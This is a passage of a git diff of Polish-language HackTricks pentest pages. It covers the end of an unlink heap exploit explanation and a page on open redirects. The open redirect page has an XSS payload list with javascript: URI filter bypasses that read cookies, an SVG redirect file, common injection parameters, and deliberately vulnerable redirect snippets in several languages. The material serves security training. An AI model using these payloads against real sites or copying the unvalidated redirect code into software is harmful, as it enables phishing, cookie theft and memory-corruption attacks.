* Aby ominąć zabezpieczenia, upewnia się, że pole `size` jest poprawne, aby uniknąć błędu: `corrupted size vs. prev_size while consolidating`
* oraz pola `fd` i `bk` fałszywego fragmentu wskazują na miejsce, gdzie przechowywany jest wskaźnik fragmentu1 z przesunięciami odpowiednio -3 i -2, więc `fake_chunk->fd->bk` i `fake_chunk->bk->fd` wskazują na pozycję w pamięci (stosie), gdzie znajduje się rzeczywisty adres fragmentu1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Nagłówki fragmentu2 są modyfikowane w taki sposób, aby wskazywały, że poprzedni fragment nie jest używany, a rozmiar to rozmiar zawartego fałszywego fragmentu.
* Gdy drugi fragment zostanie zwolniony, to ten fałszywy fragment zostanie odłączony:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Wcześniej sprawiono, że `fake_chunk->fd->bk` i `fake_chunk->fd->bk` wskazują na to samo miejsce (miejsce na stosie, gdzie przechowywany jest `fragment1`), więc było to poprawne połączenie listy. Ponieważ **oba wskazują na to samo miejsce**, tylko ostatnie (`fake_chunk->bk->fd = fake_chunk->fd`) będzie miało **skutek**.
* Spowoduje to **nadpisanie wskaźnika do fragmentu1 na stosie adresem (lub bajtami) przechowywanym 3 adresy wcześniej na stosie**.
* Dlatego jeśli atakujący mógłby ponownie kontrolować zawartość fragmentu1, będzie mógł **pisać wewnątrz stosu**, potencjalnie nadpisać adres powrotu pomijając canary oraz modyfikować wartości i wskaźniki zmiennych lokalnych. Nawet ponownie modyfikując adres fragmentu1 przechowywany na stosie na inne miejsce, jeśli atakujący mógłby ponownie kontrolować zawartość fragmentu1, będzie mógł pisać w dowolnym miejscu.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referencje
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,27 +1,28 @@
# Przekierowanie otwarte
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Przekierowanie otwarte
# Przekierowanie otwarte
## Przekierowanie do localhosta lub dowolnych domen
### Przekierowanie do localhosta lub dowolnych domen
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
## Otwarte przekierowanie do XSS
### Otwarte przekierowanie do XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -29,6 +30,9 @@ javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
@ -64,37 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
# Description
An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. This can be exploited by an attacker to redirect users to malicious websites or phishing pages.
## Exploitation
1. Identify the vulnerable parameter or input field that allows URL redirection.
2. Craft a malicious URL by appending the desired redirect URL as a parameter value.
3. Upload an SVG file containing the crafted URL as the redirect target.
4. Submit the SVG file to the web application.
5. When the SVG file is accessed, the web application will redirect the user to the specified URL.
## Example
Suppose there is a vulnerable parameter called `redirect` in the URL `https://example.com/login?redirect=`.
An attacker can craft a malicious URL like `https://example.com/login?redirect=https://malicious.com` and upload it as an SVG file.
When the SVG file is accessed, the user will be redirected to `https://malicious.com`.
## Prevention
To prevent open redirect vulnerabilities, follow these best practices:
- Validate and sanitize all user-supplied input before using it in a redirect.
- Whitelist allowed redirect URLs instead of using a blacklist approach.
- Implement server-side checks to ensure that the redirect URL belongs to the same domain.
- Use a secure redirect method, such as `302 Found`, instead of `301 Moved Permanently`.
- Educate developers about the risks of open redirects and provide secure coding guidelines.
## References
- [OWASP - Unvalidated Redirects and Forwards](https://owasp.org/www-community/attacks/Unvalidated_Redirects_and_Forwards)
## Przekierowanie otwarte przesyłanie plików svg
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -104,17 +78,7 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
# Wspólne parametry wstrzykiwania
When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request body. Here are some examples:
- **url**: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to a malicious website.
- **redirect**: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.
- **next**: This parameter is commonly used in login/logout functionality. Attackers can tamper with this parameter to redirect users to a malicious page after logging in or logging out.
- **return**: This parameter is often used in authentication flows. Attackers can modify this parameter to redirect users to a malicious page after successful authentication.
- **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests. Attackers can manipulate this parameter to redirect users to a malicious website.
By understanding these common injection parameters, you can effectively test for open redirect vulnerabilities and protect your web application from potential attacks.
## Wspólne parametry wstrzykiwania
```
/{payload}
?next={payload}
@ -189,151 +153,17 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
```csharp
using System;
using System.Web;
## Przykłady kodu
namespace OpenRedirect
{
public partial class Redirect : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
string redirectUrl = Request.QueryString["url"];
if (!string.IsNullOrEmpty(redirectUrl))
{
Response.Redirect(redirectUrl);
}
}
}
}
```
### Java
```java
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class RedirectServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String redirectUrl = request.getParameter("url");
if (redirectUrl != null && !redirectUrl.isEmpty()) {
response.sendRedirect(redirectUrl);
}
}
}
```
### PHP
```php
<?php
if (isset($_GET['url'])) {
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
exit();
}
?>
```
### Python
```python
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/redirect')
def redirect_url():
redirect_url = request.args.get('url')
if redirect_url:
return redirect(redirect_url)
else:
return 'No redirect URL provided.'
if __name__ == '__main__':
app.run()
```
### Ruby
```ruby
require 'sinatra'
get '/redirect' do
redirect_url = params[:url]
if redirect_url
redirect redirect_url
else
'No redirect URL provided.'
end
end
```
#### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
### Java
Java jest popularnym językiem programowania, który jest szeroko stosowany w tworzeniu aplikacji webowych. Jednakże, jak każdy inny język programowania, Java również może być podatna na różne luki bezpieczeństwa. W tym rozdziale omówimy jedną z takich luk - przekierowanie otwarte.
#### Przekierowanie otwarte
Przekierowanie otwarte to luka bezpieczeństwa, która występuje, gdy aplikacja webowa przekierowuje użytkownika na zewnętrzny adres URL, który jest kontrolowany przez atakującego. Atakujący może wykorzystać tę lukę, aby przekierować użytkownika na złośliwą stronę lub wykonać atak typu phishing.
W Javie, przekierowanie otwarte może wystąpić, gdy aplikacja używa metody `sendRedirect()` z klasy `HttpServletResponse` do przekierowania użytkownika na inny adres URL. Atakujący może manipulować tym adresem URL, aby przekierować użytkownika na złośliwą stronę.
#### Wykrywanie przekierowania otwartego
Aby wykryć przekierowanie otwarte w aplikacji Javy, można przeprowadzić testy penetracyjne, podczas których sprawdza się, czy aplikacja umożliwia przekierowanie na dowolny adres URL. Można to zrobić, dodając parametr `url` do adresu URL aplikacji i sprawdzając, czy przekierowanie jest wykonywane na ten adres.
#### Zapobieganie przekierowaniu otwartemu
Aby zapobiec przekierowaniu otwartemu w aplikacji Javy, należy zawsze sprawdzać, czy przekierowanie jest wykonywane na zaufane adresy URL. Można to zrobić, porównując adres URL przekierowania z listą zaufanych adresów URL lub używając mechanizmu filtrów, który sprawdza, czy adres URL przekierowania jest bezpieczny.
#### Podsumowanie
Przekierowanie otwarte jest jedną z luk bezpieczeństwa, które mogą wystąpić w aplikacjach Javy. Aby zapobiec tej luce, należy zawsze sprawdzać, czy przekierowanie jest wykonywane na zaufane adresy URL i unikać przekierowywania na adresy kontrolowane przez użytkownika.
#### Java
```bash
response.redirect("http://mysafedomain.com");
```
### PHP
PHP jest popularnym językiem programowania wykorzystywanym do tworzenia stron internetowych. Niestety, PHP może być podatny na ataki, takie jak przekierowanie otwarte. Przekierowanie otwarte to luka w zabezpieczeniach, która umożliwia atakującemu przekierowanie użytkownika na dowolny inny adres URL. Atakujący może wykorzystać tę lukę, aby przekierować użytkownika na złośliwą stronę lub wykonać inne niepożądane działania.
Aby uniknąć przekierowania otwartego, należy zawsze sprawdzać i weryfikować adresy URL przekierowań. Należy upewnić się, że przekierowanie odbywa się tylko na zaufane i zaakceptowane adresy URL. Można to osiągnąć poprzez sprawdzenie, czy adres URL zawiera oczekiwane parametry lub jest zgodny z listą zaufanych adresów URL.
Przykład kodu PHP, który może być podatny na przekierowanie otwarte:
```php
<?php
$url = $_GET['url'];
header("Location: " . $url);
?>
```
W powyższym przykładzie kodu, atakujący może przekazać dowolny adres URL jako parametr `url` w żądaniu GET. Następnie, ten adres URL jest używany w funkcji `header("Location: " . $url)` do przekierowania użytkownika. Jeśli nie ma żadnej weryfikacji adresu URL, atakujący może wykorzystać tę lukę do przekierowania użytkownika na złośliwą stronę.
Aby zabezpieczyć się przed przekierowaniem otwartym, można dodać weryfikację adresu URL, na przykład:
```php
<?php
$url = $_GET['url'];
$allowedUrls = array("https://example.com", "https://trusted-site.com");
if (in_array($url, $allowedUrls)) {
header("Location: " . $url);
} else {
echo "Nieprawidłowy adres URL";
}
?>
```
W powyższym przykładzie kodu, tylko adresy URL znajdujące się na liście `$allowedUrls` będą akceptowane do przekierowania. Jeśli adres URL przekazany jako parametr `url` nie znajduje się na liście zaufanych adresów URL, zostanie wyświetlony komunikat o nieprawidłowym adresie URL.
#### PHP
```php
<?php
/* browser redirections*/
@ -341,28 +171,27 @@ header("Location: http://mysafedomain.com");
exit;
?>
```
# Narzędzia
## Narzędzia
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
# Zasoby
## Zasoby
* W [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) znajdziesz listy fuzzingowe.
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
* W [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) znajdziesz listy fuzzingowe.\\
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>